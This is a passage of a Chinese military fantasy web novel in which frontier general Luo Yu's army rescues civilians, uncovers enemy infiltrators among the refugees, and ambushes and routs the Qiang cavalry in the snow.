百姓们衣衫褴褛、面色惶惶,不过在看到城头高高飘扬的洛字玄旗时总算是松了口气,终于看到了生的希望!
一名老人扑通往地上一跪,砰砰磕头:
“谢洛将军的救命之恩啊!本以为被羌兵掳走就得死在草原当个孤魂野鬼,再也见不到家人,是洛将军,是各位军爷救了我。
老头子给你们磕头了!”
“砰砰砰!”
不止是他,不停地有百姓跪下磕头,眼中满含泪水。城内也冲出了很多百姓,去寻找失散多日的家人,众人相拥而抱,泣不成声。
“起来,老人家快快请起!”
洛羽忙不迭地扶起老人:
“你们是陇西的子民,而我们是陇西边军,保护你们是分内之责,岂需要谢?”
“可,可你们是豁出命去救我们啊。”
老人家红着眼:“那些军卒都是年轻人,都有大好年华等着他们,如果为了救我们死在沙场上太可惜了。”
百姓们眼眶通红,穿过寒山谷口的时候他们亲眼见到了两侧军卒在奋战,羌兵的嘶吼声近在咫尺,令他们胆战心惊,是三州军卒用血肉之躯为他们开辟出一条生命通道。
这么多年来他们可曾见过有人愿意出关救百姓?
没有,从未有过!这是开天辟地头一遭!
一道道壮硕的将士身影就矗立在他们身旁,让他们很是安心,所有人都觉得,如今这支边军不一样了。
洛羽朝着所有百姓朗声喝道:
“父老乡亲们,是我们边军无能,才害得你们被羌兵掳走。今天我洛羽,还有万千边军将士向你们承诺,从今往后羌兵休想再踏进边关一步。
我保证,你们能过上安居乐业的好日子!”
“谢洛将军!”
密密麻麻的百姓跪伏在地,脸上写着喜悦。
这番话从别人嘴里说出来他们会觉得是放屁,但洛羽说的话他们信!因为他真的愿意出兵相救!
望着打起精神走入城内的百姓队列,君墨竹沉默许久,突然说了一句:
“你比我强。”
“我比你强?”
洛羽白了他一眼:“废话,我官位比你高,武功也比你好,当然比你强!”
“你!”
短短几句话气得君墨竹哑口无言,缓了半天才瞪着眼道:“我指的不是官位和武功!”
“那是什么?”
“是性格!”
“性格?何解?”
君墨竹这才一本正经地说道:
“你我年纪相仿,但性格却完全不同。
你从边军小卒起家,一路尸山血海杀出来的,身上带着一股锋锐、冒险、拼命。而我命好,世家大公子出生,自幼饱读诗书、精通谋略,心思深重,导致我的性格偏向沉稳。
那天对于救不救百姓我们发生了争执,当时我很讨厌你身上冒险的性格,认为你太过固执,要拿上千将士的命去冒险,但今天我突然明白了一件事。
你是安西将军、是眼下的战场主将,你身上的担子比我们都要重得多。我们是提建议的人,而你需要去做决定。
没有你身上这股拼劲,三千多百姓就会成为森森白骨,再无活路。
你说得很对,不救百姓,民心尽丧,救了百姓,边军也能挺起脊梁骨!”
君墨竹望向远方的茫茫黄沙:
“如今是乱世,本就会把人逼疯,你的性格比我更适合乱世。”
“赞成。”
萧少游突然插了一句嘴:
“君兄这句话说到点子上了,当初云阳关一战,他疯到用三百骑去闯三千骑,我也认为他是疯子。
事实证明他赢了。”
两人都用一种异样的目光看着洛羽,洛羽一开始被人夸得挺高兴的,但逐渐有点不自然:
“咳咳,你们俩别用这种表情看着我,瘆得慌。”
“哈哈哈!”
两**笑一声,君墨竹很识相地岔开了话题:
“虎豹骑和曹殇先后回营了,韩将军也派人回报,说羌兵基本上歼灭殆尽,眼下只剩余寒弓的第四营还没有消息。
两千人拖住六千骑,实力相差太过悬殊,真的没问题吗?”
萧少游笑呵呵的说道:
“放心吧,没问题的,如果余寒弓没能拖住羌兵,此刻西羌的战马就该出现在城门外了。”
洛羽接过话道:
“阙州骑军五名校尉,蒙虎、曹殇、吕青云、余寒弓、霍连城,论勇武,蒙虎是第一,但要是比谁的心思更细腻,那肯定是余寒弓。
换做曹殇或者霍连城他们几个去定然
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是举全营之力与羌兵死拼,也能完成任务,只不过会死很多人,但以余寒弓的性格,他会最大程度地发挥自己的骑射优势,尽量避免伤亡。
我有一种预感,第四营会干得很漂亮。”
“隆隆!”
“轰隆隆!”
天边逐渐有马蹄声轰鸣,数以千计的披甲骑军跃出地平线,第四营的军旗率先映入眼帘。
“回来了,呵呵。”
洛羽露出一抹欣慰的笑容,光看整齐的骑军队列就知道第四营几乎毫发未伤,足以证明他们十分出色地完成了任务。
随骑军一起回来的还有近万步卒,声势雄壮,一望无际的军旗迎风招展。
天上突然飘下了些许雪花,飞舞旋转着飘落人间。
大军在城前止步,整齐划一地行礼怒喝:
“参见将军!”
“三州步卒联手,全歼羌兵四千!”
“阙州第四营,退羌敌六千!”
三州军卒皆高昂着头颅,尤其是定州并州那些经过鲜血洗礼的新兵,此战他们明白了一件事,羌兵也是人,一刀下去照样死,没什么好怕的!
君墨竹目光怔怔,他能感受到两州军卒发生了蜕变。
洛羽环视全场,只说了四个字:
“陇西必胜!”
全军怒吼:
“陇西必胜!”
……
“败了,又败了!”
羌军帅帐内,耶律乌戈气得面色铁青,紧握拳头。
他已经猜中了洛羽的目标是难民营,蒙虎与曹殇两路兵马皆是疑兵,但他万万没料到洛羽不仅要救走难民,还想着一口吃掉他设下的伏兵。
也就是说洛羽几乎出动了城内大部分精锐,寒山关近乎是一座空城。疯狂,太疯狂了。
骨力台被整得灰头土脸,咬牙切齿地说道:
“殿下,再给末将一次机会,定要将这些乾狗杀得片甲不留!”
他到现在都气不过,怎么能被余寒弓如此戏耍!
“放心吧,会有机会的。”
耶律乌戈面色阴沉,缓缓抬头:
“真以为救走难民你就算是赢了?本殿岂会这么容易就认输?”
兀良平和骨力台两位万户一愣,莫非他还有后手?
耶律乌戈冷笑道:
“你会派精锐伪装成难民混进寒山关,我就不会?”
第229章以彼之道还之彼身
雪下了两天都没停,定州边关像是披上了一层银装,白茫茫一片。
雪虽然在下,但城内校场依旧有骑兵在来回奔驰,操练骑术,人人弯弓搭箭,泼射出一波波箭矢,看架势就知道是余寒弓的第四营。
几名将军高居将台,表情精彩,君沉老将军感叹道:“两千骑阻敌六千,几乎一兵一卒未丧,简直匪夷所思。余校尉这些兵仿佛已经与手中**融为一体,抬臂一挥便是漫天箭矢。”
这两天余寒弓的第四营名声大噪,倒不是说杀敌多少多少,立功如何如何,而是如此骑战打法在军中算是独树一帜!
“老将军过奖了。”
余寒弓沉声道:“精通骑射是一方面,但战马同样关键,如果战马的速度不及敌人,再好的骑射也不顶用。马越快,优势越大!”
“说得好,马越快优势越大!”
洛羽大手一挥:“从今天起,军中最快的马都给你,凿阵无双、陷阵悍勇咱们不缺,缺的就是以速度制胜的轻骑!”
一听最快的马都归自己,余寒弓喜出望外:
“哈哈,谢将军!”
箭矢腾空,翎毛在空中不断抖动,雪花织成的天幕被箭雨拦腰截断。洛羽突然说道:
“如果将箭矢的翎毛都换成白色,是不是就像雪花从天而降,遮天蔽日。”
“那估计就更壮观了。”
萧少游轻笑一声:
“箭雨如雪,正好余校尉名字带着一个寒字,到时候全军骑射一轮,敌人望之莫不胆寒啊。”
“哈哈哈,说得好,寒弓寒羽。”
洛羽神采飞扬:
“就这么定了,以后第四营骑卒所用箭矢皆配白色翎毛,箭雨未至,寒意先临!”
“嘿嘿,可以。”
余寒弓挠了挠脑袋:
“不过将军,咱说句心里话,这次虽然戏耍骨力台,策应各营步卒全歼了羌兵。但是没能与羌兵正面交战,兄弟们心里憋屈啊,骨力台那个王八蛋还敢骂第四营都是缩头乌龟。
末将别无他求,只希望下次开战时让我对付这狗贼,亲手剁了他的脑袋!”
“好,没问题!一定给你这个机会!”
洛羽大笑一声,随即话锋一转:
“入城的百姓都安置好了吗?”
“都安置妥当了,临时搭建了一片军帐供他们休息,尽可能地凑了些被褥、棉服给他们御寒,等雪停了就送他们回家。”
君墨竹轻声道:
“不过眼下遇到个麻烦事,大雪封路,天气严寒,粮草转运困难,城中的军粮还得分给难民一部分,只怕撑不了几天了。”
洛羽目光闪烁:
“民以食为天啊,吃不饱肚子怎么打仗?这样吧,调曹殇、霍连城两营骑兵回内地,帮助转运粮草,再派三千步卒出城清理积雪,开辟运粮道路。”
“好!那我这就去传令。”
洛羽环视全场,高喝一声:
“各营士卒先休整数日,等雪停了,我们再和羌兵大战!”
“诺!”
……
“来来来,喝粥咯!”
“热乎乎的粥,一人半块馕饼,人人有份,不要抢!”
“记得照顾好身边的老人孩子,千万别冻着!”
这里是守军为难民百姓临时搭建的庇护所,一群军卒拎着粥桶挨家挨户地分粥,老百姓脸上的笑容那叫一个灿烂啊。
大冷天的能喝上一碗热乎乎的粥是何等美妙,得亏被救回来了,如果还在羌兵手里,一场大雪就得冻死无数人。
某顶帐篷里凑着十几二十号汉子,看起来衣衫褴褛,灰头土脸,可他们的眼眸中却带着寻常百姓不曾有的凌厉,身材也壮硕很多。
他们可不是什么被掳走的难民百姓,而是精锐羌兵!居中默默喝粥的中年男子明面上的身份是定州山村农户,实则却是西羌千户谋克,图泰!
图泰的嘴角挂着一抹阴险的笑意,一个月前,耶律乌戈命他率三百死士混在了难民群中,一起干活一起修筑寨墙,有时候还会帮助那些身体单薄的老人妇孺,浑然没有引起任何人的警觉。这次难民被乾军劫走,他也跟着一起回到了寒山关。
任务嘛也很简单,里应外合攻破城门!
为了这一局,耶律乌戈可是精心准备了许久!
图泰三下五除二就啃完了手中馕饼,望着碗里飘着些许米花的粥水眉头微微一皱:“这两天粥里的米是越来越少了,怎么回事?就这么点哪够填饱肚子的?”
寻常百姓能喝到一碗热乎乎的米粥已经笑开花了,也就是这群羌兵,一万个不情愿,还是怀念一起大口吃肉的日子啊。
身边一人低声道:
“听说近日城中缺粮,各营分发的粮食都减少了。”
“缺粮?”
“对,大雪封路,后方的粮草运不进来。乾军只好派了数千军卒去后方帮着一起运粮,估摸着
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城中的粮食撑不了几天了。”
“噢?大军出城运粮?”
图泰的眼眸一下子亮了起来:
“此话当真?”
“千真万确。”
精瘦的汉子鬼鬼祟祟地说道:
“昨日小的摸到城门附近看了看,亲眼见到几千骑军疾驰而出,到今天都没回来。”
“哈哈,天赐良机啊。”
图泰忍不住笑出了声:
“现在大雪封路,骑兵出城运粮没有个十天半个月回不来,你今夜找机会溜出城去传消息,告诉殿下,五日后咱们就夜袭寒山关!”
“诺!”
……
羌军帅帐
兀良平和骨力台两位万户毕恭毕敬地站在帐内,刚刚从温柔乡里钻出来的耶律乌戈精神振奋,嘴角带笑:
“图泰已经传消息回来了,五天后便是开战之际!而且他还打探到一则情报,乾军粮草短缺,出动了数千军卒回后方运粮,其中还有不少精锐骑兵,眼下正是寒山关守备最薄弱的时候!”
“哈哈,简直是天赐良机啊。”
兀良平大笑一声:“乾狗一定想不到,咱们会用他们的套路派兵混入城中,这次就让我们以牙还牙,一举夺下寒山关!”
“说得没错!哼!”
耶律乌戈眼中闪过一抹忧虑:
“眼下只有一件麻烦事,从曳落河到寒山关近百里,路途颇为遥远,如今大雪封山,步卒的行军速度十分缓慢,等步兵赶到寒山关定然为时已晚,只能派一支轻骑先行一步,与图泰里应外合攻占城防。
二位将军谁愿意为先锋,杀入寒山关,为我大羌立下不世之功!”
“末将愿往!”
骨力台毫不犹豫地站了出来:
“上一战末将打得憋屈,这一次定要雪耻!”
骨力台到今天都记得被余寒弓戏耍的样子,恨不得生食其肉!
“好!将军果然勇武!”
耶律乌戈豁然起身:
“将军领六千精骑先行一步,本殿率大军在后策应!记住,只要死守城防一天,我大军定然杀到!”
按照他的预估,前锋骑兵会比主力快出一天的路程,耶律乌戈不指望光靠六千骑就能彻底占领寒山关,但里应外合攻占城门,拖住一天应该没问题!
“诺!”
耶律乌戈目光冰冷:
“上一次乾军筑京观,辱我大羌,此次破城之后,满城老小皆屠,一个不留!”
第230章满城皆屠!
“驾!”
“轰隆隆!”
雪停了,但大地披上了一层皑皑银装,什么黄沙、什么枯木全都不见,映入眼帘的尽是白茫茫一片。
骨力台率领的六千精骑策马奔腾,在雪地中踩出一串长长的马蹄印,两座不算高耸的山峰映入了他的眼帘。
“骑军止步!”
“吁吁!”
大批骑军勒马而停,骨力台环视四周,目光中隐隐闪过一抹恨意,阳光反衬下的雪光令的眯了眯眼眸。
寒山谷口,几天前他就是在这里被乾军两千骑戏耍,**都没摸到一根,己方将士的尸体还在大雪下面盖着,他总觉得鼻腔中充斥着血腥味。
堂堂万户猛安,竟然被乾军一个小小校尉耍得灰头土脸,骨力台已经把余寒弓和第四营牢牢记在了心里,发誓要将第四营杀得片甲不留。
此地虽然险要,但却是从曳落河偷袭寒山关最近的一条路,所以骨力台选择了从此地进兵,同时洒出了十几波斥候侦察两侧山脉,生怕再被乾军来一场伏击。
天地间唯有白雪,听不见一声兽鸣鸟叫,也看不见一只飞禽腾空,寒意刺骨。
一队哨骑飞奔而来,抱拳沉喝:
“将军,两侧都查过了,并未发现乾军踪迹!”
“确定吗?可曾看仔细了!此战事关重大,若是敢疏忽大意,小心本将要了你的脑袋!”
骨力台面色冰冷,乾军的诡计多端他可是领教了,不敢轻易进兵。
“千真万确!”
斥候标长嘴角一抽,躬着身子老实回话:
“若是有乾军埋伏定会留下踪迹,但雪地中并未发现马蹄印,再说了,乾军的黑甲在雪地里很显眼,确信无人!”
“很好,那咱们就加快速度,入夜时分定要赶到寒山关外!”
“诺!”
“出发!”
“轰隆隆!”
大批骑军再度踏上征程,眨眼间便消失在天地之间。
寒风呼啸,雪是那么的静。
天地静谧!杀气凛然。
……
夜幕笼罩着寒山关,寒意弥漫在天地间。
城内的难民营由大大小小上百顶军帐组成,挨着西城墙没多远。乾军可不是羌兵,百姓更不是奴隶,洛羽并未派兵驻守此地,只是每天安排人来分发粮食、照顾伤员。
静悄悄的夜色中突然有一顶帐篷的帘布被掀开,图泰鬼鬼祟祟地探出了脑袋,确定四周无人后才迈出脚步,然后便是一道道黑影从帐内行出,十几人犹如鬼魅在夜色中穿行。
众人的脚步极轻,踩在厚厚的积雪中发出沉闷的声响,刚走出没几步,迎面就撞见一名出来解手的老人:
“咦,你们是谁?”
十几名羌兵全都愣住了,手足无措。图泰心头一颤,赶忙说了一句:“老李头,是我啊,阿泰!”
睡眼惺忪的老人揉了揉眼眶,这才认出是此前经常帮自己干活的图泰,好奇道:
“原来是你啊,大半夜的你们这是要去哪儿?”
“咳咳。”
图泰眼珠子咕噜直转,尴尬地说道:“不瞒您讲,咱哥几个饿得睡不着,出来找找看有什么吃的。”
“害,谁肚子不饿啊,这年头能不饿死就知足吧。”
老李头摆了摆手:
“我劝你们还是回去吧,这几天城中缺粮,听说连军营的粮食都不够了,大半夜能上哪儿找吃的去?别被当兵的看到了把你们当成贼抓起来。
回吧回吧,老头子明天去挖点野菜,你们混着米粥一起喝,顶饱。”
“那就太谢谢您老了!”
图泰笑了笑,突然指向他的身后:“咦,那是谁?”
老李头下意识地转过身去,却连鬼影都没看到,愕然道:“哪儿有人……”
“砰!”
图泰一记手刀就劈在他后脑勺,直接将他给打晕了,骂骂咧咧了一句:
“老不死的,差点坏了我们好事。”
“蹭!”
身侧悍卒掏出一把短小的**,准备一刀将其捅死。
“干什么!攻打城门要紧,别浪费时间。”
图泰轻吹了两声口哨,接二连三的黑影从帐中窜出,多达三百人,潜入城中的羌兵汇聚一处,悄无声息地向城门口摸了过去。
这一幕是似曾相识啊。
一个多月前血归军夜袭寒山关也是这般场景,一战破关而入!
估计是天气严寒,连半夜巡逻的守卒都变少了,仅有的几支巡逻队也是在打马虎眼,随便转
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悠一圈就回营,三百羌兵十分顺利地来到了城门口附近。
城门口的守卫同样松懈,两排鹿角的后面只有区区百十号守军,一大半都耷拉着眼皮在打盹,架在旁边的**无人过问,城头上闪烁着火光,隐约看见有人影在晃动。
“乾军小儿还真是不把我大羌放在眼里啊。”
图泰目光狰狞:“打了几场胜仗罢了,就敢如此骄狂懈怠,哼!”
“都给我听着,殿下说了,只要我们能拿下城门,接应大军入城,便是大功一件,人人官升三级,赏金百两!”
“诺!”
一众羌兵的目光都变得贪婪起来,大家把脑袋别在裤腰带上打仗不就是为了升官发财吗!
“蹭!”
图泰短匕在手,怒喝一声:
“给我杀!”
“放信号!”
“咻!”
凄厉的破空声陡然划破夜空,打破了寒山关的宁静,密密麻麻的羌兵健步如飞,扑向城门,嘶吼声瞬间响起:
“羌兵,羌兵偷袭!”
“迎战,快迎战啊!”
响箭在半空中炸开,早就抵达城外的骨力台目光一震,精神抖擞:
“开始了,终于开始了!”
“全军备战,准备入城!”
六千骑不再掩藏身形,骑着高头大马抵近城门,一杆杆长矛在手,吞吐着瘆人的寒芒。
“杀啊!”
“铛铛铛!”
“敌袭敌袭,羌兵来袭了,快挡住他们!”
城内的战斗似乎格外激烈,乾军惊慌的嘶吼声此起彼伏,很快战事就蔓延到了城墙上头,骨力台甚至能清晰地看见有尸体冲城头坠落,在雪地中摔得血肉模糊。
“快,快啊!”
骨力台牢牢攥住缰绳,焦急万分。他麾下清一色的骑兵,攻城战自然是帮不上忙的,只能寄希望于图泰占领城门。
“嘎吱!”
约莫小半个时辰过去,寒山关的城门豁然大开,几名难民模样的男子冲了出来,手执血淋淋的弯刀拼命挥舞手臂:
“将军,快入城!”
“哈哈哈!成了!”
骨力台大笑一声,浑身杀气毕露,提枪前举:
“入城!”
“满城皆屠,老少不留!”
第231章天罗地网
“全军入城,给我杀!”
“轰隆隆!”
六千铁骑如怒涛般冲向洞开的寒山关城门,马蹄将城外的积雪踩成一滩滩污水,怒吼声回荡全城。
骨力台一马当先,冲入城门甬道,迎面扑来浓重的血腥味。地上横七竖八地躺着数十具尸体,穿着难民衣袍的很明显是自己人,当然,也有披甲的乾军倒在血泊中,显然双方已经激战一场。
远处的火光中还有不少人混战在一起,清脆的兵器碰撞声不绝于耳。
“乾狗!本将军今日就要让寒山关血流成河!”
骨力台目光狰狞,用枪尖戳中地上的一具死尸高高挑起,狠狠往前一砸:
“砰!”
畅快啊,**死尸令他无比痛快,可下一刻骨力台就愣住了,因为尸体坠地之后震散了身上的胸甲,甲胄里面露出来的不是乾军军服,而是难民的粗布麻衣。
“这是……”
骨力台茫然无比,下意识地向远处的战场看去,混战中的人群似乎只是在单纯的挥刀,不见有人中刀倒地,怎么看都像是演戏!
“不好,中计了!”
一股恐惧直冲天灵盖,骨力台厉喝出声:
“快,全军撤出寒山关,快撤!”
“轰!”的一声巨响,城门甬道上方落下一面沉重的木闸,拦腰将后续骑兵截断,两个倒霉蛋正好被砸中额头,脑袋炸成一团血花。
城内城外两批羌骑都蒙了。
“妈的,怎么会这样!”
骨力台破口大骂:“图泰,图泰呢!”
“怎么,你在找他吗?”
城墙上陡然亮起无数火把,照得黑夜如昼。黑压压的**手从垛口探出身子,冰冷的箭簇对准了城下的羌骑,还有一具血淋淋的死尸被吊在半空中。
骨力台瞳孔骤缩,图泰已经**!
萧少游高居墙头,面无表情地说道:
“怎么,真当我不知道有羌兵混入人群?若不是想引你上钩,三百羌兵早就被我杀光了。”
“奸诈小人!卑鄙无耻!”
骨力台那个气啊,如此精妙绝伦的计策怎么会被乾军看出来?
“骂?死到临头还敢骂?”
萧少游冷笑一声,手掌轻轻一挥:
“放箭!”
“嗖嗖嗖!”
箭雨如瀑,倾泻而下。冲在最前的数十骑瞬间人仰马翻,战马哀鸣着栽倒,刚刚还嚣张无比的羌兵被射成刺猬,鲜血在雪地上肆意流淌。
四面街巷中都有乾军步卒涌出,盾牌在前**在后,阵型严密,逼得羌兵战马毫无用武之地,更有不少兵马互相践踏,场面一片混乱。
在狭窄的地形中,骑兵还真不是步卒的对手。
“杀!”
“今日敢入城者,一个不留!”
“嗖嗖嗖!”
箭矢破空而来,骨力台猛地侧身,箭锋擦着他的铁盔划过,在胸甲上刮出一道刺目的火星。他怒吼一声,**横扫,将两名逼近身前的乾军砸飞出去,鲜血喷溅在雪地上,触目惊心。
“退,快退!”
别看他大杀四方,但骨力台很清楚冲不出城门只有死路一条,可惜那道厚重的木闸令将士们束手无策,隔绝了他们的生路。
“妈的,一群废物,滚开!”
他双眼赤红,猛地一夹马腹,战马嘶鸣着冲向木闸。城墙上箭雨再至,数支利箭钉入他的肩甲,却未能穿透铁甲。骨力台**高举,一枪稳稳地戳中木闸下方的铁皮。
“给我开!”
“喝!”
他暴喝一声,浑身肌肉鼓胀!
“铛!”
金铁交鸣,火星迸溅。重达上百斤的木闸剧烈震颤,竟被这一枪生生砸地松动!骨力台虎口崩裂,鲜血顺着枪杆流淌,但他丝毫不顾,反手又是一枪横扫,枪锋劈在木闸与铁链的连接处。
“铛!”
“咔擦!”
木闸在无数将士错愕的目光中炸裂成一团,轰然倒地。
“冲出去!”
骨力台厉声嘶吼,已经死伤大半的羌骑拼命催动战马,落荒而逃,必死的局面竟然被骨力台硬生生杀出了一条血路。
“到底是万户猛安啊,好强悍的身手。”
萧少游目光微凝,移步墙头看向了城外,难道冲出城门就能活命吗?
“咻!”
一支凄厉的响箭腾空而起,一左一右两座骑阵陡然从羌兵背后杀出,呈扇形围住了羌兵骑阵。
“曹殇,霍连城!”
骨力台一眼就认出了两营的旗号,那叫一个气啊,不是说这两营兵马出城运粮去了吗?怎得从自己身后冒出来了?
骗局,全都是骗局!
两营从背后偷袭,城门内还杀出了一支血归军,三路兵马正在铺开锋线,宛如一张天罗地网,打算将六千骑一口吃掉!
“杀!”
“砰砰砰!”
“铛铛铛!”
数以千计的战马在夜色中狠狠撞在一
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起,血肉飞溅,厮杀惨烈。三支精锐犹如虎入羊群,将羌兵骑阵冲得四分五裂。
但骨力台也不是庸手,集中所有精锐朝正前方突进,毫无恋战之意,一心只想着突围。
“哪里跑!给我留下!”
曹殇一袭黑甲,手持长矛,拦腰挡在了骨力台身前,两拨骑兵狠狠撞在了一起。
“铛!”
骨力台横枪格挡,两柄铁兵相撞,火花四溅。二人错马而过,又对拼了好几招,招招凶悍,直取要害,不管是谁,只要松懈半分就会毙命当场。
骨力台心中骂骂咧咧:
“这些阙州军怎么猛将辈出,妈的。”
刚刚奔出两步,曹殇反手一记回马枪,笔直刺向他的后背,骨力台浑身汗**竖起,猛地一扭身子,有枪柄狠狠往下一压,险之又险的挡开这必杀一击。
“好快的枪!”
骨力台心头一凛,知道遇上了劲敌。
“再来!”
“怕你不成!”
曹殇调转马头,还不觉得过瘾,长矛舞出漫天寒光。骨力台也不露怯,两人缠斗在一起,但他的眼角一直瞄向战场,局面正在急转直下。
“妈的,拼了!”
他暴喝一声,枪势陡然凌厉,逼退曹殇半步,随即猛地掷出**!
突如其来的杀招让曹殇愣了一下,打得好好的你扔掉兵器干嘛?急忙侧身闪避,长矛擦着他的脑袋飞了过去。
骨力台趁机拔出腰间弯刀,狠狠刺入马臀!战马吃痛,发狂般冲向包围圈薄弱处,拦路的几名骑卒接连被撞翻。
曹殇目瞪口呆,如此逃命的方式他还是头一回见。
“跟我杀出去!”
“拼了!”
数以千计的羌兵几乎同时跟上骨力台的脚步,拼命向西冲杀,更有几百死士被留下来断后,尚未合拢的包围圈还真被他们硬生生撕开一道口子,踏着茫茫白雪纵马狂奔,眨眼间就消失在夜幕中。
“妈的,还真被这家伙逃了。”
霍连城愤愤不平地提起长矛:“追不追?”
“追!”
曹殇也没打过瘾,一提长矛就准备冲杀,可还没等他两催动战马,萧少游的军令就到了:
“将军有令,穷寇莫追,全军回城!”
两人很是无奈,只好掉头去收拾那些被拦住的羌兵残余。
火光缭绕的城头上,萧少游负手而立,嘴角微微翘起:
“自有人会收拾你们!”
第232章寒山脚下寒羽惊
“驾!”
“轰隆隆!”
从寒山城外狂奔一夜的羌兵再一次来到了寒山谷口,气喘吁吁的他们驻马而停,人人衣袍染血、面色惶惶。
昨夜他们从这里过去时还杀气腾腾,誓要踏平寒山关,结果一天之后他们就惶惶如丧家之犬。
骨力台心有余悸地回头看了一眼:“乾军没追上来吧?”
“没有。”副将嘴角苦涩:“只是咱们的伤亡有些大啊。”
六千精骑出击,别说拿下寒山关了,城墙都没摸到一下,打了一仗回来就只剩四千余众,军心士气极度萎靡。
“妈的,竟然又中了乾军的奸计!”
骨力台骂骂咧咧:“唉,白白折损了如此多的弟兄。”
天色清明,寒风呼啸,寒山谷口依旧被皑皑白雪所笼罩,寒气逼人。
骨力台突然嘴角一翘,鄙夷道:
“不过乾军也是一群蠢货,若是在此地放置一队伏兵,那咱们今日就是插翅也难逃。”
副将嘴角一抽,这话也太不吉利了,苦笑道:“将军,咱们还是快些与殿下汇合吧,否则心里总觉得不安生。”
“你们看,那是什么!”
军阵中突然传出一阵惊呼,不少人愕然抬头远望,发现远处似乎有一团白雪正在滚滚而来。
没错,是一团白雪!贴着地面急速滚动!
骨力台瞳孔骤缩,惊骇欲绝地喝道:
“小心,是骑兵!”
“嘶嘶嘶!”
一片拉动弓弦的声音响起,余寒弓冰冷的眼眸出现在骑阵前方,嘴角勾起一抹冷笑。
既然洛羽和萧少游已经看破了乾军的计策,怎么会放过如此险地呢?其实第四营两千余骑早早就出城了,一直藏在山里,只不过人人披上了白袍,就连箭矢的翎毛都换成了白色,与白雪融为一体,羌兵的斥候能发现就怪了。
昨天羌兵就是在他们眼皮子底下过去的!
“放!”
“嗖嗖嗖!”
密集的破风声撕裂云霄,夹杂着雪白翎毛的羽箭腾空而起,宛如大雪降世,令人遍体生寒,蔚为壮观!
羌兵措手不及,骑阵被射得人仰马翻,死伤一片。
“混蛋,又是你!”
仇人相见分外眼红,骨力台挺枪策马,笔直前冲:
“区区两千余骑也敢拦我?今日就用你的首级祭奠我战死的将士!”
“杀!”
“轰隆隆!”
两军骑兵不约而同地拉开架势,展开对冲,骨力台原本是吓了一跳,但他发现只有两千余敌军时就心安了不少,麾下兵马足以一战!
“放!”
余寒弓的喝声在寒风中格外清晰。随着他手臂挥下,两千白袍骑兵同时松开弓弦,箭矢如暴雪般倾泻而下。
骨力台目光猩红,拼命的挥舞枪杆去击落迎风射来的箭矢,他武功好还能挡一挡,可身侧那些精疲力尽的士卒不停地被箭矢捅穿胸膛,哀嚎不断。
“散!”
余寒弓一勒马缰,战马前蹄高高扬起,陡然转向右侧,万纲心领神会,领兵向左,战马在雪地上划出两道深痕。两千骑兵如臂使指,瞬间分成两股,向不同方向疾驰而去。
“妈的,又来这套!”
骨力台气得双目赤红,**直指余寒弓:“全军加速,给我杀了他!”
羌兵骑兵拼命地催动战马,可奔驰一夜的战马哪可能追得上乾军的快马?两股白袍骑兵拉开距离,始终与羌兵保持着一箭之地,改仰射为平射,不断射杀羌骑。
羌骑自然不会坐以待毙,咬着牙同样兵分两路,从斜刺里逼近乾军骑阵。余寒弓冷笑一声,双腿狠狠一加马腹,麾下千骑骤然加速,让羌骑扑了一个空。
余寒弓与万纲二人从两侧兜出一个巨大的弧线,在谷尾的位置重新合并一处,然后再度冲锋。
“三箭齐发,抛射!”
随着余寒弓一声令下,两千精骑同时张弓搭箭,这一次每一根箭弦上都搭上了三根箭矢。
“放!”
他们并不瞄准,只是将箭矢抛射向天空,形成一幕幕交错的箭雨。这种战术算是第四营苦练的绝活,堪称杀招,两千骑愣是一波射出了六千支羽箭。
“小心,小心啊!”
骨力台声嘶力竭地吼叫着,遮天蔽日的雪白大雪连他都觉得心惊肉跳。
“嗖嗖嗖!”
箭矢落下,羌兵根本无从防御,又一片人马倒地,鲜血染红了白雪。
骨力台气疯了,领兵狂追,可余寒弓就是不接战,靠着战
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马的体力、速度优势四处转悠,让羌兵无可奈何。
追着追着就有羌兵掉队,落单等同于送命,第四营的神箭手们抬手一箭就送这些家伙见了阎王。战马大口大口地喘着粗气、军卒咬着牙拼死追击,任凭他们怎么追击也摸不到第四营一根**。
好几次骨力台都是突然变阵,想要拦腰截断的乾军,可次次扑空,将士们的体力一点点消磨殆尽。
戏耍,与那日一模一样的戏耍!
所有的羌兵脸上都带着一股浓浓的绝望与无助,这种不能反击、只能挨打的战局会成为很多人生前的最后一战!
骨力台咬牙切齿地骂道:
“懦夫,你们都是一群懦夫!有种正面一战!”
“什么狗屁的第四营,都是一群缩头乌龟!”
简简单单的两句怒骂让第四营上下杀气腾腾,他们绝不是懦夫!
再度汇聚的白羽轻骑出人意料的没有兜圈子,而是笔直朝羌兵大阵撞了过来,看架势像是要凿阵。
“来得好!”
骨力台**在手:“给我杀光这群懦夫!”
余寒弓仰**吼:
“听到了吗,羌贼说我们是懦夫,不敢与之一战!可我陇西边军何人不是铮铮铁骨!凿阵又有何妨!”
“轰!”
主将手臂轻抬,两千步卒同时弯弓搭箭,差不多是箭囊中最后一支箭了。
“嗖嗖嗖!”
当最后一波箭矢射出的时候,余寒弓弃弓拔刀,厉喝一声:
“抽刀!”
“蹭蹭蹭!”
两千精锐骑兵同时抽出了苍刀,面色狠辣,全军上下的杀意凝聚到极致。
骨力台见乾军玩真的,赶忙集结所有主力与余寒弓展开了对冲。
“竖旗!”
“刺拉拉!”
一面威武不凡的军旗迎风而立,高举在骑阵最前方,大书两个字:
寒羽!
余寒弓仰**吼:
“将军令,第四营赐名寒羽骑!全军配白甲,箭矢镶白翎!”
“白羽所至,天地冰寒!”
两千人目光猩红,整齐嘶吼:
“杀!”
……
寒山城外寒风啸,寒风脚下寒羽惊!
漫天白羽出寒弓,大雪降世天地寒!
第233章寒弓之下万户亡
白袍笼罩着黑甲,贴着地面翻滚向前,犹如雪崩天地,一股森冷的寒意扑面而来。
雪花在颤栗,寒风在呼啸。
山谷震动,两军凿阵!
“杀!”
“砰砰砰!”
“嗤嗤嗤!”
数以千计的战马狠狠撞在一起,低沉的碰撞声回荡在山谷之间,令人胆寒。
马蹄翻折、血肉横飞。
两千寒羽骑因为多配了一把弓弩,所以全军上下未配长矛,只带苍刀,一柄柄刀锋滑过,不断割破羌骑的胸膛腰腹。
“喝!”
余寒弓一马当先,手掌轻轻一翻便挡开了迎面刺来的长枪,刀锋贴着枪杆顺势上滑,稳准狠地没入敌骑咽喉:
“嗤!”
鲜血飞溅,羌骑应声落马。
万纲冲锋在侧,刀法之凌厉与余寒弓如出一辙,两名羌骑从左右同时逼近身侧,枪尖直奔胸膛。
